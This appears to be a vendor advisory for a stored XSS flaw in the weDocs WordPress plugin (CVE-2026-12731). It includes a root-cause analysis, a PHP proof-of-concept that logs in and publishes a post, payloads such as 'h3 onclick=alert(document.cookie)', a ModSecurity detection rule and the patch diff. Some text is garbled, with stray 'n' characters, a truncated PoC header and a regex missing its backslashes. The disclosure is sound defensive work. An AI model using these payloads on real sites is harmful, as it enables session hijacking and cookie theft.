Published : July 2, 2026

CVE-2026-12731: weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot <= 2.3.0 Authenticated (Contributor+) Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes PoC, Patch Analysis & Rule

Plugin wedocs
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.3.0
Patched Version 2.3.1
Disclosed July 1, 2026

Analysis Overview

{ “analysis”: “Atomic Edge analysis of CVE-2026-12731:nnThis vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the weDocs: AI Powered Knowledge Base plugin for WordPress, affecting all versions up to and including 2.3.0. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts through the ‘sectionTitleTag’ and ‘articleTitleTag’ block attributes, which are then stored and executed when any user visits an affected page.nnRoot Cause: The vulnerability stems from insufficient input sanitization and output escaping of the ‘sectionTitleTag’ and ‘articleTitleTag’ attributes in the Sidebar block’s render.php file. Specifically, in render_wedocs_sidebar() at lines 210-211 of the vulnerable code, the plugin directly assigned these attributes to HTML tag names without any validation: `$section_title_tag = $attributes[‘sectionTitleTag’] ?? ‘h3’;` and `$article_title_tag = $attributes[‘articleTitleTag’] ?? ‘h4’;`. These values were then used directly in HTML output, allowing an attacker to inject arbitrary HTML attributes or event handlers (e.g., `h3 onclick=alert(1)`). The plugin also lacked sanitization for CSS length values like ‘connectorWidth’ and ‘itemSpacing’ used in inline styles, which could be abused for attribute breakout attacks.nnExploitation: An attacker with contributor-level privileges creates or edits a post using the weDocs Sidebar block. In the block settings, they set the ‘sectionTitleTag’ attribute to a malicious payload such as `h3 onclick=alert(document.cookie)`. When the block renders, the plugin outputs this value directly into the HTML tag, creating an element with an inline event handler. Any user viewing the page triggers the script execution. Additionally, the ‘connectorWidth’ and ‘itemSpacing’ CSS length parameters accepted arbitrary strings without validation, enabling CSS injection or attribute breakout via the style attribute. The attack requires only standard WordPress block editor access; no special permissions beyond contributor are needed.nnPatch Analysis: The patch introduces two new sanitization functions and applies them to all vulnerable parameters. wedocs_sanitize_tag_name() validates tag names against a strict whitelist of allowed HTML tags (`h1`-`h6`, `div`, `span`, `p`) and rejects anything else, falling back to a safe default. wedocs_sanitize_css_length() validates CSS length values against a regex pattern allowing only numbers with optional decimal points and known CSS units (`px`, `em`, `rem`, `%`, `vh`, `vw`, `pt`). These functions are applied to the sectionTitleTag, articleTitleTag, connectorWidth, and itemSpacing parameters, replacing direct attribute access. The patch also fixes a missing esc_attr() call on the connector_width variable. These changes ensure that only safe, expected values reach the HTML output, completely preventing XSS injection.nnImpact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any victim’s browser session when they view the affected page. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, or further exploitation by performing actions on behalf of the victim (including creating admin accounts if the victim is an administrator). The stored nature of the XSS means the attack persists across visits and affects all users, not just the initial target.”, “poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-12731 – weDocs: AI Powered Knowledge Base $target_url . ‘/wp-login.php’,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’,n ‘testcookie’ => ‘1’n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_HEADER => true,n CURLOPT_COOKIEJAR => ‘/tmp/cookies.txt’,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_USERAGENT => ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’n]);n$response = curl_exec($ch);nn// Extract nonce from response for post creationnpreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $response, $matches);n$wpnonce = $matches[1] ?? ”;nn// Step 2: Create a new post with malicious weDocs Sidebar blockn$block_content = ”;nn$post_data = [n ‘title’ => ‘Atomic Edge Test Post – CVE-2026-12731’,n ‘content’ => $block_content,n ‘status’ => ‘publish’,n ‘_wpnonce’ => $wpnonce,n ‘post_type’ => ‘post’n];nncurl_setopt_array($ch, [n CURLOPT_URL => $target_url . ‘/wp-admin/post.php?action=editpost’,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query($post_data),n CURLOPT_COOKIEFILE => ‘/tmp/cookies.txt’,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_HEADER => false,n]);n$post_response = curl_exec($ch);nn// Step 3: Attempt to retrieve the post to verify XSS executionnpreg_match(‘/post=\d+/’, $post_response, $post_id_match);n$post_id = str_replace(‘post=’, ”, $post_id_match[0] ?? ”);nnif ($post_id) {n $post_url = $target_url . /?p=’ . $post_id;n echo “Exploit post created: $post_url\n”;n echo “View this page to trigger XSS (JavaScript alert box).\n”;n echo “SectionTitleTag payload: h3 onclick=alert(document.cookie)\n”;n echo “ArticleTitleTag payload: div onmouseover=alert(1)\n”;n} else {n echo “Failed to create exploit post. Check credentials and permissions.\n”;n}nncurl_close($ch);n”, “modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-12731n# Blocks stored XSS via weDocs block attributes ‘sectionTitleTag’ and ‘articleTitleTag’n# Targets WordPress REST API endpoint used by block editornSecRule REQUEST_URI “@beginsWith /wp-json/wp/v2/posts” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-12731 – weDocs XSS via sectionTitleTag/attributeTitleTag’,severity:’CRITICAL’,tag:’CVE-2026-12731′”n SecRule ARGS:content “@rx wedocs/sidebar” “chain”n SecRule ARGS:content “@rx (sectionTitleTag|articleTitleTag)\”:\[^\”]*(on[a-z]+=|javascript:)” “t:none”n” }

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wedocs/assets/build/blocks/Sidebar/render.php
+++ b/wedocs/assets/build/blocks/Sidebar/render.php
@@ -76,6 +76,61 @@
 }

 /**
+ * Validate a CSS length value (e.g. "1px", "0.5rem", "10%").
+ *
+ * Block attributes are stored unsanitized, so any string reaching a
+ * style attribute must be validated before output. Anything that is not
+ * a plain CSS length falls back to a safe default to prevent attribute
+ * breakouts / stored XSS.
+ *
+ * @since 2.3.1
+ *
+ * @param mixed  $value    The raw value to validate.
+ * @param string $fallback Fallback length when validation fails.
+ *
+ * @return string A safe CSS length value.
+ */
+if ( ! function_exists( 'wedocs_sanitize_css_length' ) ) {
+    function wedocs_sanitize_css_length( $value, $fallback = '1px' ) {
+        if ( ! is_string( $value ) && ! is_numeric( $value ) ) {
+            return $fallback;
+        }
+
+        $value = trim( (string) $value );
+
+        // Allow a bare number (treated as px-less) or number + unit.
+        if ( preg_match( '/^d+(.d+)?(px|em|rem|%|vh|vw|pt)?$/', $value ) ) {
+            return $value;
+        }
+
+        return $fallback;
+    }
+}
+
+/**
+ * Validate an HTML heading/inline tag name against a whitelist.
+ *
+ * esc_attr() is NOT a safe escaper for tag names — a value like
+ * "h3 onclick=alert(1)" survives it and breaks out into attributes.
+ * Only a strict whitelist is safe here.
+ *
+ * @since 2.3.1
+ *
+ * @param mixed  $tag      The raw tag name.
+ * @param string $fallback Fallback tag when not whitelisted.
+ *
+ * @return string A safe, whitelisted tag name.
+ */
+if ( ! function_exists( 'wedocs_sanitize_tag_name' ) ) {
+    function wedocs_sanitize_tag_name( $tag, $fallback = 'h3' ) {
+        $allowed = [ 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span', 'p' ];
+        $tag     = is_string( $tag ) ? strtolower( trim( $tag ) ) : '';
+
+        return in_array( $tag, $allowed, true ) ? $tag : $fallback;
+    }
+}
+
+/**
  * Process WordPress color class and add to appropriate output
  *
  * @param string $parsed_color The parsed color value
@@ -134,8 +189,9 @@

         $connector_width = intval( str_replace( 'px', '', $tree_styles['indentation'] ?? '20' ) ) / 2;
         $connector_color = wedocs_get_color_value( $tree_styles['connectorColor'] ?? '', '#e5e7eb' );
+        $line_width      = wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' );

-        return '<div class="wedocs-connector-line" style="position: absolute; left: -' . $connector_width . 'px; top: 0; bottom: 0; width: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>';
+        return '<div class="wedocs-connector-line" style="position: absolute; left: -' . esc_attr( $connector_width ) . 'px; top: 0; bottom: 0; width: ' . esc_attr( $line_width ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>';
     }
 }
 if ( ! function_exists( 'render_wedocs_sidebar' ) ) {
@@ -151,8 +207,8 @@
     if ($enable_nested_articles === '') {
         $enable_nested_articles = true;
     }
-        $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';
-        $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';
+        $section_title_tag      = wedocs_sanitize_tag_name( $attributes['sectionTitleTag'] ?? 'h3', 'h3' );
+        $article_title_tag      = wedocs_sanitize_tag_name( $attributes['articleTitleTag'] ?? 'h4', 'h4' );
         // Styling attributes
         $container_styles   = $attributes['containerStyles'] ?? [];
         $section_styles     = $attributes['sectionStyles'] ?? [];
@@ -443,7 +499,7 @@
         if ( $level > 0 ) {
             $section_style .= 'margin-left: ' . $indentation . 'px;';
         }
-        $section_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';
+        $section_style .= 'margin-bottom: ' . wedocs_sanitize_css_length( $tree_styles['itemSpacing'] ?? '4px', '4px' ) . ';';
         $section_style .= 'position: relative;';
         $header_style = '';
         if ( $level === 0 ) {
@@ -551,7 +607,7 @@
                         str_replace( 'px', '', $tree_styles['indentation'] ?? '20' )
                     ) . 'px;';
                 if ( ! empty( $tree_styles['connectorColor'] ) ) {
-                    $children_style .= 'border-left: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . ' solid ' . esc_attr(
+                    $children_style .= 'border-left: ' . wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' ) . ' solid ' . esc_attr(
                             $tree_styles['connectorColor']
                         ) . ';';
                 }
@@ -607,7 +663,7 @@
         if ( $level > 0 ) {
             $article_style .= 'margin-left: ' . $indentation . 'px;';
         }
-        $article_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';
+        $article_style .= 'margin-bottom: ' . wedocs_sanitize_css_length( $tree_styles['itemSpacing'] ?? '4px', '4px' ) . ';';
         $article_style .= 'position: relative;';
         $icon_style = '';
         $icon_color = wedocs_get_color_value( $doc_list_styles['textColor'] ?? '', '#6c757d' );
@@ -649,7 +705,7 @@
                         str_replace( 'px', '', $tree_styles['indentation'] ?? '20' )
                     ) . 'px;';
                 if ( ! empty( $tree_styles['connectorColor'] ) ) {
-                    $children_style .= 'border-left: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . ' solid ' . esc_attr(
+                    $children_style .= 'border-left: ' . wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' ) . ' solid ' . esc_attr(
                             $tree_styles['connectorColor']
                         ) . ';';
                 }
--- a/wedocs/assets/build/index.asset.php
+++ b/wedocs/assets/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'b61e8a2d02b8e18f27fc');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '03d095925f226ea789ba');
--- a/wedocs/includes/Admin/Migrate.php
+++ b/wedocs/includes/Admin/Migrate.php
@@ -47,6 +47,34 @@
     }

     /**
+     * Verify a migration AJAX request is authorized.
+     *
+     * The BetterDocs->weDocs migration creates/updates posts, updates
+     * options and deactivates plugins, so it must be gated behind both a
+     * nonce check and an administrator capability check. Without these,
+     * any logged-in user (subscriber+) could trigger it.
+     *
+     * @since 2.3.1
+     *
+     * @return void Sends a JSON error and dies when unauthorized.
+     */
+    private static function verify_migration_request() {
+        if ( ! check_ajax_referer( 'wedocs-migration', 'nonce', false ) ) {
+            wp_send_json_error( [
+                'success' => false,
+                'message' => __( 'Security verification failed.', 'wedocs' ),
+            ], 403 );
+        }
+
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( [
+                'success' => false,
+                'message' => __( 'You are not allowed to perform this action.', 'wedocs' ),
+            ], 403 );
+        }
+    }
+
+    /**
      * Check migration availability.
      *
      * @since 2.0.0
@@ -54,6 +82,8 @@
      * @return void
      */
     public static function need_migration() {
+        self::verify_migration_request();
+
         // Check is betterdocs available.
         if ( ! self::is_betterdocs_exists() ) {
             wp_send_json_error( [
@@ -204,6 +234,8 @@
      * @return void
      */
     public static function do_migration() {
+        self::verify_migration_request();
+
         $migratable_docs      = self::betterdocs_migratable_docs();
         $migrated_docs_length = ! empty( $_POST[ 'migratedDocLength' ] ) ? $_POST[ 'migratedDocLength' ] : 0;

--- a/wedocs/includes/Assets.php
+++ b/wedocs/includes/Assets.php
@@ -74,8 +74,10 @@
                     'aiProviderConfigs' => wedocs_get_ai_provider_configs(),
                     'adminUrl'      => admin_url(),
                     'hasManageCap'  => current_user_can( 'manage_options' ),
+                    'migrationNonce' => wp_create_nonce( 'wedocs-migration' ),
                     'weDocsUrl'     => admin_url( 'admin.php?page=wedocs#/' ),
                     'pro_active'    => wedocs_is_pro_active(),
+                    'dokan_active'  => is_plugin_active( 'dokan-lite/dokan.php' ),
                     'upgradePopupContent' => wedocs_get_upgrade_popup_content(),
                     'siteUrl'       => home_url( '/' ),
                 ),
--- a/wedocs/vendor/composer/installed.php
+++ b/wedocs/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'tareq1988/wedocs',
-        'pretty_version' => 'v2.3.0',
-        'version' => '2.3.0.0',
-        'reference' => '547bd0e257a4ed44636c5a185e52f5f197a85abf',
+        'pretty_version' => 'v2.3.1',
+        'version' => '2.3.1.0',
+        'reference' => 'dd786d13e348fb7f9732c7e71058463dbfb8367e',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'tareq1988/wedocs' => array(
-            'pretty_version' => 'v2.3.0',
-            'version' => '2.3.0.0',
-            'reference' => '547bd0e257a4ed44636c5a185e52f5f197a85abf',
+            'pretty_version' => 'v2.3.1',
+            'version' => '2.3.1.0',
+            'reference' => 'dd786d13e348fb7f9732c7e71058463dbfb8367e',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wedocs/wedocs.php
+++ b/wedocs/wedocs.php
@@ -3,7 +3,7 @@
 Plugin Name: weDocs
 Plugin URI: https://wedocs.co/
 Description: A documentation plugin for WordPress
-Version: 2.3.0
+Version: 2.3.1
 Author: weDevs
 Author URI: https://wedocs.co/?utm_source=wporg&utm_medium=banner&utm_campaign=author-uri
 License: GPL2
@@ -60,7 +60,7 @@
      *
      * @var string
      */
-    const VERSION = '2.3.0';
+    const VERSION = '2.3.1';

     /**
      * The plugin url.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.